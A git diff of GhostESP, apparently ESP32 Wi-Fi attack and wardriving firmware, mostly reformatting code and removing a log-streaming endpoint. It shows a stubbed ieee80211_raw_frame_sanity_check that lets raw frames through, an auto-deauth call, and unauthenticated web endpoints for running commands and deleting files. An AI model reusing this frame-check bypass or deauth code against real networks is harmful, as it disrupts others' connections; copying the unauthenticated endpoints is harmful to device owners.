(strncmp(entry->d_name, base_name, strlen(base_name)) == 0) { - int index; - if (sscanf(entry->d_name + strlen(base_name), "_%d.csv", &index) == 1) { - if (index > max_index) { - max_index = index; - } - } +int get_next_csv_file_index(const char *base_name) { + char path[128]; + int max_index = -1; + + DIR *dir = opendir("/mnt/ghostesp/wardriving"); + if (!dir) { + ESP_LOGE(TAG, "Failed to open directory /mnt/ghostesp/wardriving"); + return -1; + } + + struct dirent *entry; + while ((entry = readdir(dir)) != NULL) { + if (strncmp(entry->d_name, base_name, strlen(base_name)) == 0) { + int index; + if (sscanf(entry->d_name + strlen(base_name), "_%d.csv", &index) == 1) { + if (index > max_index) { + max_index = index; } + } } + } - closedir(dir); - return max_index + 1; + closedir(dir); + return max_index + 1; } \ No newline at end of file diff --git a/main/main.c b/main/main.c index a6181387..780af996 100644 --- a/main/main.c +++ b/main/main.c @@ -1,12 +1,12 @@ -#include "core/system_manager.h" -#include "core/serial_manager.h" #include "core/commandline.h" +#include "core/serial_manager.h" +#include "core/system_manager.h" +#include "managers/ap_manager.h" +#include "managers/display_manager.h" #include "managers/rgb_manager.h" +#include "managers/sd_card_manager.h" #include "managers/settings_manager.h" #include "managers/wifi_manager.h" -#include "managers/ap_manager.h" -#include "managers/sd_card_manager.h" -#include "managers/display_manager.h" #ifndef CONFIG_IDF_TARGET_ESP32S2 #include "managers/ble_manager.h" #endif @@ -20,75 +20,72 @@ #include "managers/views/splash_screen.h" #endif -int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){ - return 0; -} - +int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3) { return 0; } void app_main(void) { - serial_manager_init(); - wifi_manager_init(); + serial_manager_init(); + wifi_manager_init(); #ifndef CONFIG_IDF_TARGET_ESP32S2 - //ble_init(); + // ble_init(); #endif #ifdef USB_MODULE - wifi_manager_auto_deauth(); - return; + wifi_manager_auto_deauth(); + return; #endif #ifdef CONFIG_WITH_ETHERNET #endif - command_init(); + command_init(); - register_commands(); + register_commands(); - settings_init(&G_Settings); + settings_init(&G_Settings); - ap_manager_init(); + ap_manager_init(); - esp_err_t err = sd_card_init(); + esp_err_t err = sd_card_init(); #ifdef CONFIG_WITH_SCREEN #ifdef CONFIG_USE_JOYSTICK - #define L_BTN 13 - #define C_BTN 34 - #define U_BTN 36 - #define R_BTN 39 - #define D_BTN 35 +#define L_BTN 13 +#define C_BTN 34 +#define U_BTN 36 +#define R_BTN 39 +#define D_BTN 35 - joystick_init(&joysticks[0], L_BTN, HOLD_LIMIT, true); - joystick_init(&joysticks[1], C_BTN, HOLD_LIMIT, true); - joystick_init(&joysticks[2], U_BTN, HOLD_LIMIT, true); - joystick_init(&joysticks[3], R_BTN, HOLD_LIMIT, true); - joystick_init(&joysticks[4], D_BTN, HOLD_LIMIT, true); + joystick_init(&joysticks[0], L_BTN, HOLD_LIMIT, true); + joystick_init(&joysticks[1], C_BTN, HOLD_LIMIT, true); + joystick_init(&joysticks[2], U_BTN, HOLD_LIMIT, true); + joystick_init(&joysticks[3], R_BTN, HOLD_LIMIT, true); + joystick_init(&joysticks[4], D_BTN, HOLD_LIMIT, true); - printf("Joystick GPIO Setup Successfully...\n"); + printf("Joystick GPIO Setup Successfully...\n"); #endif - display_manager_init(); - display_manager_switch_view(&splash_view); + display_manager_init(); + display_manager_switch_view(&splash_view); #endif #ifdef CONFIG_LED_DATA_PIN - rgb_manager_init(&rgb_manager, CONFIG_LED_DATA_PIN, CONFIG_NUM_LEDS, LED_ORDER, LED_MODEL_WS2812, GPIO_NUM_NC, GPIO_NUM_NC, GPIO_NUM_NC); - - if (settings_get_rgb_mode(&G_Settings) == 1) - { - xTaskCreate(rainbow_task, "Rainbow Task", 8192, &rgb_manager, 1, &rgb_effect_task_handle); - } + rgb_manager_init(&rgb_manager, CONFIG_LED_DATA_PIN, CONFIG_NUM_LEDS, LED_ORDER, + LED_MODEL_WS2812, GPIO_NUM_NC, GPIO_NUM_NC, GPIO_NUM_NC); + + if (settings_get_rgb_mode(&G_Settings) == 1) { + xTaskCreate(rainbow_task, "Rainbow Task", 8192, &rgb_manager, 1, &rgb_effect_task_handle); + } #endif -#ifdef CONFIG_RED_RGB_PIN && CONFIG_GREEN_RGB_PIN && CONFIG_BLUE_RGB_PIN - rgb_manager_init(&rgb_manager, GPIO_NUM_NC, 1, LED_PIXEL_FORMAT_GRB, LED_MODEL_WS2812, CONFIG_RED_RGB_PIN, CONFIG_GREEN_RGB_PIN, CONFIG_BLUE_RGB_PIN); - if (settings_get_rgb_mode(&G_Settings) == 1) - { - xTaskCreate(rainbow_task, "Rainbow Task", 8192, &rgb_manager, 1, &rgb_effect_task_handle); - } +#ifdef CONFIG_RED_RGB_PIN &&CONFIG_GREEN_RGB_PIN &&CONFIG_BLUE_RGB_PIN + rgb_manager_init(&rgb_manager, GPIO_NUM_NC, 1, LED_PIXEL_FORMAT_GRB, LED_MODEL_WS2812, + CONFIG_RED_RGB_PIN, CONFIG_GREEN_RGB_PIN, CONFIG_BLUE_RGB_PIN); + if (settings_get_rgb_mode(&G_Settings) == 1) { + xTaskCreate(rainbow_task, "Rainbow Task", 8192, &rgb_manager, 1, &rgb_effect_task_handle); + } #endif - printf("Ghost ESP Ready ;)\n"); + printf("Ghost ESP Ready ;)\n"); } \ No newline at end of file diff --git a/main/managers/ap_manager.c b/main/managers/ap_manager.c index 2a44bf2a..9edfce38 100644 --- a/main/managers/ap_manager.c +++ b/main/managers/ap_manager.c @@ -1,48 +1,45 @@ #include "managers/ap_manager.h" +#include "managers/ghost_esp_site.h" #include "managers/settings_manager.h" -#include -#include -#include -#include +#include +#include +#include +#include +#include #include -#include -#include "managers/ghost_esp_site.h" #include +#include #include -#include -#include -#include -#include +#include #include -#include +#include +#include +#include +#include +#include #include -#include -#include -#define MAX_LOG_BUFFER_SIZE 4096 // Adjust as needed +#define MAX_LOG_BUFFER_SIZE 4096 // Adjust as needed #define MAX_FILE_SIZE (5 * 1024 * 1024) // 5 MB -#define BUFFER_SIZE (1024) // 1 KB buffer size for reading chunks -#define MIN_(a,b) ((a) < (b) ? (a) : (b)) +#define BUFFER_SIZE (1024) // 1 KB buffer size for reading chunks +#define MIN_(a, b) ((a) < (b) ? (a) : (b)) static char log_buffer[MAX_LOG_BUFFER_SIZE]; static size_t log_buffer_index = 0; -static const char* TAG = "AP_MANAGER"; +static const char *TAG = "AP_MANAGER"; static httpd_handle_t server = NULL; -static esp_netif_t* netif = NULL; +static esp_netif_t *netif = NULL; static bool mdns_freed = false; // Forward declarations -static esp_err_t http_get_handler(httpd_req_t* req); -static esp_err_t api_logs_handler(httpd_req_t* req); -static esp_err_t api_clear_logs_handler(httpd_req_t* req); -static esp_err_t api_settings_handler(httpd_req_t* req); +static esp_err_t http_get_handler(httpd_req_t *req); +static esp_err_t api_clear_logs_handler(httpd_req_t *req); +static esp_err_t api_settings_handler(httpd_req_t *req); static esp_err_t api_command_handler(httpd_req_t *req); -static esp_err_t api_settings_get_handler(httpd_req_t* req); - -static void event_handler(void* arg, esp_event_base_t event_base, - int32_t event_id, void* event_data); - +static esp_err_t api_settings_get_handler(httpd_req_t *req); +static void event_handler(void *arg, esp_event_base_t event_base, int32_t event_id, + void *event_data); static esp_err_t scan_directory(const char *base_path, cJSON *json_array) { DIR *dir = opendir(base_path); @@ -103,14 +100,11 @@ static esp_err_t scan_directory(const char *base_path, cJSON *json_array) { return ESP_OK; } - static esp_err_t api_sd_card_get_handler(httpd_req_t *req) { ESP_LOGI(TAG, "Received request for SD card structure."); - const char *base_path = "/mnt"; - struct stat st; if (stat(base_path, &st) != 0) { ESP_LOGE(TAG, "SD card not mounted or inaccessible."); @@ -119,7 +113,6 @@ static esp_err_t api_sd_card_get_handler(httpd_req_t *req) { return ESP_FAIL; } - cJSON *response_json = cJSON_CreateArray(); if (scan_directory(base_path, response_json) != ESP_OK) { cJSON_Delete(response_json); @@ -128,7 +121,6 @@ static esp_err_t api_sd_card_get_handler(httpd_req_t *req) { return ESP_FAIL; } - char *response_string = cJSON_Print(response_json); if (!response_string) { ESP_LOGE(TAG, "Failed to serialize JSON."); @@ -138,11 +130,9 @@ static esp_err_t api_sd_card_get_handler(httpd_req_t *req) { return ESP_FAIL; } - httpd_resp_set_type(req, "application/json"); httpd_resp_sendstr(req, response_string); - cJSON_Delete(response_json); free(response_string); @@ -160,7 +150,7 @@ static esp_err_t api_sd_card_post_handler(httpd_req_t *req) { } // Parse JSON payload - buf[received] = '\0'; // Null-terminate the received string + buf[received] = '\0'; // Null-terminate the received string cJSON *json = cJSON_Parse(buf); if (!json) { ESP_LOGE(TAG, "Failed to parse JSON payload."); @@ -276,7 +266,6 @@ esp_err_t get_query_param(httpd_req_t *req, const char *key, char *value, size_t return ESP_ERR_NOT_FOUND; } - esp_err_t api_sd_card_delete_file_handler(httpd_req_t *req) { char filepath[256 + 1]; @@ -285,13 +274,11 @@ esp_err_t api_sd_card_delete_file_handler(httpd_req_t *req) { char query[query_len]; httpd_req_get_url_query_str(req, query, query_len); - char path[256]; if (httpd_query_key_value(query, "path", path, sizeof(path)) == ESP_OK) { snprintf(filepath, sizeof(filepath), "%s", path); ESP_LOGI(TAG, "Deleting file: %s", filepath); - struct _reent r; memset(&r, 0, sizeof(struct _reent)); int res = _unlink_r(&r, filepath); @@ -332,7 +319,8 @@ static esp_err_t api_sd_card_upload_handler(httpd_req_t *req) { // 2. Retrieve Content-Type header and boundary char content_type[128] = {0}; - if (httpd_req_get_hdr_value_str(req, "Content-Type", content_type, sizeof(content_type)) != ESP_OK) { + if (httpd_req_get_hdr_value_str(req, "Content-Type", content_type, sizeof(content_type)) != + ESP_OK) { ESP_LOGE(TAG, "Failed to get Content-Type header."); httpd_resp_set_status(req, "400 Bad Request"); httpd_resp_set_type(req, "application/json"); @@ -402,7 +390,8 @@ static esp_err_t api_sd_card_upload_handler(httpd_req_t *req) { free(buf); free(boundary); free(file_path); - if (file) fclose(file); + if (file) + fclose(file); httpd_resp_set_status(req, "400 Bad Request"); httpd_resp_set_type(req, "application/json"); httpd_resp_sendstr(req, "{\"error\": \"Malformed part headers.\"}"); @@ -416,7 +405,8 @@ static esp_err_t api_sd_card_upload_handler(httpd_req_t *req) { if (filename_start) { filename_start += strlen("filename=\""); char *filename_end = strstr(filename_start, "\""); - if (filename_end && (filename_end - filename_start) < sizeof(original_filename)) { + if (filename_end && + (filename_end - filename_start) < sizeof(original_filename)) { strncpy(original_filename, filename_start, filename_end - filename_start); original_filename[filename_end - filename_start] = '\0'; ESP_LOGI(TAG, "Original filename: %s", original_filename); @@ -424,7 +414,8 @@ static esp_err_t api_sd_card_upload_handler(httpd_req_t *req) { } if (strlen(original_filename) > 0) { - snprintf(file_path, MAX_PATH_LENGTH + 128, "%s/%s", path_param, original_filename); + snprintf(file_path, MAX_PATH_LENGTH + 128, "%s/%s", path_param, + original_filename); } else { snprintf(file_path, MAX_PATH_LENGTH + 128, "%s/received_file", path_param); } @@ -477,7 +468,8 @@ static esp_err_t api_sd_card_upload_handler(httpd_req_t *req) { free(buf); free(boundary); free(file_path); - if (file) fclose(file); + if (file) + fclose(file); httpd_resp_set_status(req, "500 Internal Server Error"); httpd_resp_set_type(req, "application/json"); httpd_resp_sendstr(req, "{\"error\": \"Failed to receive file data.\"}"); @@ -487,7 +479,8 @@ static esp_err_t api_sd_card_upload_handler(httpd_req_t *req) { free(buf); free(boundary); free(file_path); - if (file) fclose(file); + if (file) + fclose(file); httpd_resp_set_status(req, "200 OK"); httpd_resp_set_type(req, "application/json"); @@ -501,7 +494,6 @@ esp_err_t ap_manager_init(void) { esp_err_t ret; wifi_mode_t mode; - ret = esp_wifi_get_mode(&mode); if (ret == ESP_ERR_WIFI_NOT_INIT) { printf("Wi-Fi not initialized, initializing as Access Point...\n"); @@ -513,7 +505,6 @@ esp_err_t ap_manager_init(void) { return ret; } - esp_netif_t *netif = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF"); if (!netif) { netif = esp_netif_create_default_wifi_ap(); @@ -529,35 +520,35 @@ esp_err_t ap_manager_init(void) { return ret; } - ret = esp_wifi_set_mode(WIFI_MODE_AP); if (ret != ESP_OK) { printf("esp_wifi_set_mode failed: %s\n", esp_err_to_name(ret)); return ret; } - const char* ssid = strlen(settings_get_ap_ssid(&G_Settings)) > 0 ? settings_get_ap_ssid(&G_Settings) : "GhostNet"; - - const char* password = strlen(settings_get_ap_password(&G_Settings)) > 8 ? settings_get_ap_password(&G_Settings) : "GhostNet"; + const char *ssid = strlen(settings_get_ap_ssid(&G_Settings)) > 0 + ? settings_get_ap_ssid(&G_Settings) + : "GhostNet"; + + const char *password = strlen(settings_get_ap_password(&G_Settings)) > 8 + ? settings_get_ap_password(&G_Settings) + : "GhostNet"; - wifi_config_t wifi_config = { - .ap = { - .channel = 6, - .max_connection = 4, - .authmode = WIFI_AUTH_WPA2_PSK, - .beacon_interval = 100, - }, + .ap = + { + .channel = 6, + .max_connection = 4, + .authmode = WIFI_AUTH_WPA2_PSK, + .beacon_interval = 100, + }, }; - strncpy((char *)wifi_config.ap.ssid, ssid, sizeof(wifi_config.ap.ssid) - 1); wifi_config.ap.ssid[sizeof(wifi_config.ap.ssid) - 1] = '\0'; - wifi_config.ap.ssid_len = strlen(ssid); - strncpy((char *)wifi_config.ap.password, password, sizeof(wifi_config.ap.password) - 1); wifi_config.ap.password[sizeof(wifi_config.ap.password) - 1] = '\0'; @@ -567,7 +558,7 @@ esp_err_t ap_manager_init(void) { return ret; } - esp_netif_t* ap_netif = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF"); + esp_netif_t *ap_netif = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF"); if (ap_netif == NULL) { printf("Failed to get the AP network interface\n"); } else { @@ -576,12 +567,11 @@ esp_err_t ap_manager_init(void) { // Configure IP address esp_netif_ip_info_t ip_info; - ip_info.ip.addr = ESP_IP4TOADDR(192, 168, 4, 1); // IP address (192.168.4.1) - ip_info.gw.addr = ESP_IP4TOADDR(192, 168, 4, 1); // Gateway (usually same as IP) + ip_info.ip.addr = ESP_IP4TOADDR(192, 168, 4, 1); // IP address (192.168.4.1) + ip_info.gw.addr = ESP_IP4TOADDR(192, 168, 4, 1); // Gateway (usually same as IP) ip_info.netmask.addr = ESP_IP4TOADDR(255, 255, 255, 0); // Subnet mask esp_netif_set_ip_info(ap_netif, &ip_info); - esp_netif_dhcps_start(ap_netif); printf("DHCP server configured successfully.\n"); } @@ -596,8 +586,10 @@ esp_err_t ap_manager_init(void) { // Register event handlers for Wi-Fi events if not registered already ESP_ERROR_CHECK(esp_event_handler_register(WIFI_EVENT, ESP_EVENT_ANY_ID, &event_handler, NULL)); - ESP_ERROR_CHECK(esp_event_handler_register(IP_EVENT, IP_EVENT_AP_STAIPASSIGNED, &event_handler, NULL)); - ESP_ERROR_CHECK(esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP, &event_handler, NULL)); + ESP_ERROR_CHECK( + esp_event_handler_register(IP_EVENT, IP_EVENT_AP_STAIPASSIGNED, &event_handler, NULL)); + ESP_ERROR_CHECK( + esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP, &event_handler, NULL)); // Initialize mDNS ret = mdns_init(); @@ -620,11 +612,9 @@ esp_err_t ap_manager_init(void) { char ip_str[16]; snprintf(ip_str, sizeof(ip_str), "192.168.4.1"); - - mdns_txt_item_t serviceTxtData[] = { - {"ip", ip_str} - }; - + + mdns_txt_item_t serviceTxtData[] = {{"ip", ip_str}}; + ret = mdns_service_add("GhostESP", "_http", "_tcp", 80, serviceTxtData, 1); if (ret != ESP_OK) { ESP_LOGE(TAG, "mdns_service_add failed: %s\n", esp_err_to_name(ret)); @@ -639,15 +629,13 @@ esp_err_t ap_manager_init(void) { char ip_txt[20]; snprintf(ip_txt, sizeof(ip_txt), "192.168.4.1"); - mdns_txt_item_t ip_data[] = { - {"ipv4", ip_txt} - }; + mdns_txt_item_t ip_data[] = {{"ipv4", ip_txt}}; ret = mdns_service_txt_set("_http", "_tcp", ip_data, 1); if (ret != ESP_OK) { ESP_LOGE(TAG, "mdns_service_txt_set failed: %s\n", esp_err_to_name(ret)); } - - FSettings* settings = &G_Settings; + + FSettings *settings = &G_Settings; ret = mdns_hostname_set("ghostesp"); if (ret != ESP_OK) { @@ -655,7 +643,6 @@ esp_err_t ap_manager_init(void) { return ret; } - printf("mDNS hostname set to ghostesp.local\n"); ret = mdns_service_add(NULL, "_http", "_http", 80, NULL, 0); @@ -670,102 +657,68 @@ esp_err_t ap_manager_init(void) { config.ctrl_port = 32768; // Control port (use default) config.max_uri_handlers = 30; - ret = httpd_start(&server, &config); if (ret != ESP_OK) { printf("Error starting HTTP server!\n"); return ret; } - // Register URI handlers + // Register URI handlers httpd_uri_t uri_get = { - .uri = "/", - .method = HTTP_GET, - .handler = http_get_handler, - .user_ctx = NULL - }; - - httpd_uri_t uri_post_logs = { - .uri = "/api/logs", - .method = HTTP_GET, - .handler = api_logs_handler, - .user_ctx = NULL - }; - - - httpd_uri_t uri_post_settings = { - .uri = "/api/settings", - .method = HTTP_POST, - .handler = api_settings_handler, - .user_ctx = NULL - }; - - httpd_uri_t uri_get_settings = { - .uri = "/api/settings", - .method = HTTP_GET, - .handler = api_settings_get_handler, - .user_ctx = NULL - }; - - - httpd_uri_t uri_sd_card_get = { - .uri = "/api/sdcard", - .method = HTTP_GET, - .handler = api_sd_card_get_handler, - .user_ctx = NULL - }; - - httpd_uri_t uri_sd_card_post = { - .uri = "/api/sdcard/download", - .method = HTTP_POST, - .handler = api_sd_card_post_handler, - .user_ctx = NULL - }; - - httpd_uri_t uri_sd_card_post_upload = { - .uri = "/api/sdcard/upload", - .method = HTTP_POST, - .handler = api_sd_card_upload_handler, - .user_ctx = NULL - }; - - - httpd_uri_t uri_post_command = { - .uri = "/api/command", - .method = HTTP_POST, - .handler = api_command_handler, - .user_ctx = NULL - }; - - httpd_uri_t uri_delete_command = { - .uri = "/api/sdcard", - .method = HTTP_DELETE, - .handler = api_sd_card_delete_file_handler, - .user_ctx = NULL - }; + .uri = "/", .method = HTTP_GET, .handler = http_get_handler, .user_ctx = NULL}; + + httpd_uri_t uri_post_settings = {.uri = "/api/settings", + .method = HTTP_POST, + .handler = api_settings_handler, + .user_ctx = NULL}; + + httpd_uri_t uri_get_settings = {.uri = "/api/settings", + .method = HTTP_GET, + .handler = api_settings_get_handler, + .user_ctx = NULL}; + + httpd_uri_t uri_sd_card_get = {.uri = "/api/sdcard", + .method = HTTP_GET, + .handler = api_sd_card_get_handler, + .user_ctx = NULL}; + + httpd_uri_t uri_sd_card_post = {.uri = "/api/sdcard/download", + .method = HTTP_POST, + .handler = api_sd_card_post_handler, + .user_ctx = NULL}; + + httpd_uri_t uri_sd_card_post_upload = {.uri = "/api/sdcard/upload", + .method = HTTP_POST, + .handler = api_sd_card_upload_handler, + .user_ctx = NULL}; + + httpd_uri_t uri_post_command = {.uri = "/api/command", + .method = HTTP_POST, + .handler = api_command_handler, + .user_ctx = NULL}; + + httpd_uri_t uri_delete_command = {.uri = "/api/sdcard", + .method = HTTP_DELETE, + .handler = api_sd_card_delete_file_handler, + .user_ctx = NULL}; ret = httpd_register_uri_handler(server, &uri_delete_command); - if (ret != ESP_OK) { + if (ret != ESP_OK) { printf("Error registering URI\n"); } ret = httpd_register_uri_handler(server, &uri_sd_card_post_upload); - if (ret != ESP_OK) { + if (ret != ESP_OK) { printf("Error registering URI\n"); } ret = httpd_register_uri_handler(server, &uri_sd_card_post); - if (ret != ESP_OK) { + if (ret != ESP_OK) { printf("Error registering URI\n"); } ret = httpd_register_uri_handler(server, &uri_sd_card_get); - if (ret != ESP_OK) { - printf("Error registering URI\n"); - } - - ret = httpd_register_uri_handler(server, &uri_post_logs); - if (ret != ESP_OK) { + if (ret != ESP_OK) { printf("Error registering URI\n"); } @@ -774,21 +727,20 @@ esp_err_t ap_manager_init(void) { printf("Error registering URI\n"); } - ret = httpd_register_uri_handler(server, &uri_post_settings); - if (ret != ESP_OK) { + if (ret != ESP_OK) { printf("Error registering URI\n"); } ret = httpd_register_uri_handler(server, &uri_get); - if (ret != ESP_OK) { + if (ret != ESP_OK) { printf("Error registering URI\n"); } ret = httpd_register_uri_handler(server, &uri_post_command); - if (ret != ESP_OK) { + if (ret != ESP_OK) { printf("Error registering URI\n"); } @@ -822,8 +774,7 @@ void ap_manager_deinit(void) { printf("AP Manager deinitialized\n"); } - -void ap_manager_add_log(const char* log_message) { +void ap_manager_add_log(const char *log_message) { size_t message_length = strlen(log_message); if (log_buffer_index + message_length < MAX_LOG_BUFFER_SIZE) { strcpy(&log_buffer[log_buffer_index], log_message); @@ -834,7 +785,6 @@ void ap_manager_add_log(const char* log_message) { memset(log_buffer, 0, MAX_LOG_BUFFER_SIZE); log_buffer_index = 0; - strcpy(&log_buffer[log_buffer_index], log_message); log_buffer_index += message_length; } @@ -848,27 +798,21 @@ esp_err_t ap_manager_start_services() { // Set Wi-Fi mode to AP ret = esp_wifi_set_mode(WIFI_MODE_AP); if (ret != ESP_OK) { - printf("esp_wifi_set_mode failed: %s\n", esp_err_to_name(ret)); + printf("WiFi mode set failed\n"); return ret; } // Start Wi-Fi ret = esp_wifi_start(); if (ret != ESP_OK) { - printf("esp_wifi_start failed: %s\n", esp_err_to_name(ret)); + printf("WiFi start failed\n"); return ret; } // Start mDNS ret = mdns_init(); if (ret != ESP_OK) { - printf("mdns_init failed: %s\n", esp_err_to_name(ret)); - return ret; - } - - ret = mdns_hostname_set("ghostesp"); - if (ret != ESP_OK) { - printf("mdns_hostname_set failed: %s\n", esp_err_to_name(ret)); + printf("mDNS init failed\n"); return ret; } @@ -879,133 +823,92 @@ esp_err_t ap_manager_start_services() { ret = httpd_start(&server, &config); if (ret != ESP_OK) { - printf("Error starting HTTP server!\n"); + printf("HTTP server start failed\n"); return ret; } - httpd_uri_t uri_get = { - .uri = "/", - .method = HTTP_GET, - .handler = http_get_handler, - .user_ctx = NULL - }; - - httpd_uri_t uri_post_logs = { - .uri = "/api/logs", - .method = HTTP_GET, - .handler = api_logs_handler, - .user_ctx = NULL - }; - - - httpd_uri_t uri_post_settings = { - .uri = "/api/settings", - .method = HTTP_POST, - .handler = api_settings_handler, - .user_ctx = NULL - }; - - httpd_uri_t uri_get_settings = { - .uri = "/api/settings", - .method = HTTP_GET, - .handler = api_settings_get_handler, - .user_ctx = NULL - }; - - httpd_uri_t uri_sd_card_get = { - .uri = "/api/sdcard", - .method = HTTP_GET, - .handler = api_sd_card_get_handler, - .user_ctx = NULL - }; - - httpd_uri_t uri_sd_card_post = { - .uri = "/api/sdcard/download", - .method = HTTP_POST, - .handler = api_sd_card_post_handler, - .user_ctx = NULL - }; - - httpd_uri_t uri_sd_card_post_upload = { - .uri = "/api/sdcard/upload", - .method = HTTP_POST, - .handler = api_sd_card_upload_handler, - .user_ctx = NULL - }; - - httpd_uri_t uri_delete_command = { - .uri = "/api/sdcard", - .method = HTTP_DELETE, - .handler = api_sd_card_delete_file_handler, - .user_ctx = NULL - }; - - - httpd_uri_t uri_post_command = { - .uri = "/api/command", - .method = HTTP_POST, - .handler = api_command_handler, - .user_ctx = NULL - }; + httpd_uri_t uri_get = { + .uri = "/", .method = HTTP_GET, .handler = http_get_handler, .user_ctx = NULL}; + + httpd_uri_t uri_post_settings = {.uri = "/api/settings", + .method = HTTP_POST, + .handler = api_settings_handler, + .user_ctx = NULL}; + + httpd_uri_t uri_get_settings = {.uri = "/api/settings", + .method = HTTP_GET, + .handler = api_settings_get_handler, + .user_ctx = NULL}; + + httpd_uri_t uri_sd_card_get = {.uri = "/api/sdcard", + .method = HTTP_GET, + .handler = api_sd_card_get_handler, + .user_ctx = NULL}; + + httpd_uri_t uri_sd_card_post = {.uri = "/api/sdcard/download", + .method = HTTP_POST, + .handler = api_sd_card_post_handler, + .user_ctx = NULL}; + + httpd_uri_t uri_sd_card_post_upload = {.uri = "/api/sdcard/upload", + .method = HTTP_POST, + .handler = api_sd_card_upload_handler, + .user_ctx = NULL}; + + httpd_uri_t uri_delete_command = {.uri = "/api/sdcard", + .method = HTTP_DELETE, + .handler = api_sd_card_delete_file_handler, + .user_ctx = NULL}; + + httpd_uri_t uri_post_command = {.uri = "/api/command", + .method = HTTP_POST, + .handler = api_command_handler, + .user_ctx = NULL}; ret = httpd_register_uri_handler(server, &uri_delete_command); - if (ret != ESP_OK) { + if (ret != ESP_OK) { printf("Error registering URI\n"); } ret = httpd_register_uri_handler(server, &uri_sd_card_post_upload); - if (ret != ESP_OK) { + if (ret != ESP_OK) { printf("Error registering URI\n"); } ret = httpd_register_uri_handler(server, &uri_sd_card_post); - if (ret != ESP_OK) { + if (ret != ESP_OK) { printf("Error registering URI\n"); } ret = httpd_register_uri_handler(server, &uri_sd_card_get); - if (ret != ESP_OK) { + if (ret != ESP_OK) { printf("Error registering URI\n"); } - ret = httpd_register_uri_handler(server, &uri_post_logs); - if (ret != ESP_OK) { - printf("Error registering URI \n"); - } - ret = httpd_register_uri_handler(server, &uri_get_settings); - if (ret != ESP_OK) { + if (ret != ESP_OK) { printf("Error registering URI \n"); } ret = httpd_register_uri_handler(server, &uri_post_settings); - if (ret != ESP_OK) { + if (ret != ESP_OK) { printf("Error registering URI \n"); } ret = httpd_register_uri_handler(server, &uri_get); - if (ret != ESP_OK) { + if (ret != ESP_OK) { printf("Error registering URI \n"); } ret = httpd_register_uri_handler(server, &uri_post_command); - if (ret != ESP_OK) { - printf("Error registering URI \n"); + if (ret != ESP_OK) { + printf("Error registering URI \n"); } printf("HTTP server started\n"); - esp_netif_t* ap_netif = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF"); - - esp_netif_ip_info_t ip_info; - if (esp_netif_get_ip_info(ap_netif, &ip_info) == ESP_OK) { - printf("ESP32 AP IP Address: \n" IPSTR, IP2STR(&ip_info.ip)); - } else { - printf("Failed to get IP address\n"); - } - return ESP_OK; } @@ -1014,11 +917,13 @@ void ap_manager_stop_services() { esp_err_t err = esp_wifi_get_mode(&wifi_mode); ESP_ERROR_CHECK(esp_event_handler_unregister(WIFI_EVENT, ESP_EVENT_ANY_ID, &event_handler)); - ESP_ERROR_CHECK(esp_event_handler_unregister(IP_EVENT, IP_EVENT_AP_STAIPASSIGNED, &event_handler)); + ESP_ERROR_CHECK( + esp_event_handler_unregister(IP_EVENT, IP_EVENT_AP_STAIPASSIGNED, &event_handler)); ESP_ERROR_CHECK(esp_event_handler_unregister(IP_EVENT, IP_EVENT_STA_GOT_IP, &event_handler)); if (err == ESP_OK) { - if (wifi_mode == WIFI_MODE_AP || wifi_mode == WIFI_MODE_STA || wifi_mode == WIFI_MODE_APSTA) { + if (wifi_mode == WIFI_MODE_AP || wifi_mode == WIFI_MODE_STA || + wifi_mode == WIFI_MODE_APSTA) { printf("Stopping Wi-Fi...\n"); ESP_ERROR_CHECK(esp_wifi_stop()); } @@ -1026,7 +931,6 @@ void ap_manager_stop_services() { printf("Failed to get Wi-Fi mode, error: %d\n", err); } - if (server) { httpd_stop(server); server = NULL; @@ -1034,39 +938,33 @@ void ap_manager_stop_services() { vTaskDelay(pdMS_TO_TICKS(100)); - if (!mdns_freed) - { + if (!mdns_freed) { mdns_free(); mdns_freed = true; } } - // Handler for GET requests (serves the HTML page) -static esp_err_t http_get_handler(httpd_req_t* req) { +static esp_err_t http_get_handler(httpd_req_t *req) { printf("Received HTTP GET request: %s\n", req->uri); httpd_resp_set_type(req, "text/html"); - return httpd_resp_send(req, (const char*)ghost_site_html, ghost_site_html_size); + return httpd_resp_send(req, (const char *)ghost_site_html, ghost_site_html_size); } -static esp_err_t api_command_handler(httpd_req_t *req) -{ +static esp_err_t api_command_handler(httpd_req_t *req) { char content[500]; int ret, command_len; - - command_len = MIN_(req->content_len, sizeof(content) - 1); + command_len = MIN_(req->content_len, sizeof(content) - 1); - ret = httpd_req_recv(req, content, command_len); if (ret <= 0) { if (ret == HTTPD_SOCK_ERR_TIMEOUT) { - httpd_resp_send_408(req); + httpd_resp_send_408(req); } return ESP_FAIL; } - content[command_len] = '\0'; cJSON *json = cJSON_Parse(content); @@ -1076,60 +974,27 @@ static esp_err_t api_command_handler(httpd_req_t *req) return ESP_FAIL; } - cJSON *command_json = cJSON_GetObjectItem(json, "command"); if (command_json == NULL || !cJSON_IsString(command_json)) { httpd_resp_set_status(req, "400 Bad Request"); - httpd_resp_send(req, "Missing or invalid 'command' field", strlen("Missing or invalid 'command' field")); - cJSON_Delete(json); // Cleanup JSON object + httpd_resp_send(req, "Missing or invalid 'command' field", + strlen("Missing or invalid 'command' field")); + cJSON_Delete(json); // Cleanup JSON object return ESP_FAIL; } - const char *command = command_json->valuestring; - simulateCommand(command); - + httpd_resp_send(req, "Command executed", strlen("Command executed")); cJSON_Delete(json); return ESP_OK; } - -static esp_err_t api_logs_handler(httpd_req_t* req) { - httpd_resp_set_type(req, "text/event-stream"); - httpd_resp_set_hdr(req, "Cache-Control", "no-cache"); - httpd_resp_set_hdr(req, "Connection", "keep-alive"); - - if (log_buffer_index > 0) { - char sse_event[2046]; - size_t log_offset = 0; - - while (log_offset < log_buffer_index) { - size_t chunk_size = log_buffer_index - log_offset; - if (chunk_size > 2046) { - chunk_size = 2046; - } - - snprintf(sse_event, sizeof(sse_event), "data: %.*s\n\n", (int)chunk_size, log_buffer + log_offset); - httpd_resp_sendstr_chunk(req, sse_event); - - log_offset += chunk_size; - } - - log_buffer_index = 0; - } else { - httpd_resp_sendstr_chunk(req, "data: [No new logs]\n\n"); - } - - httpd_resp_sendstr_chunk(req, NULL); - return ESP_OK; -} - // Handler for /api/clear_logs 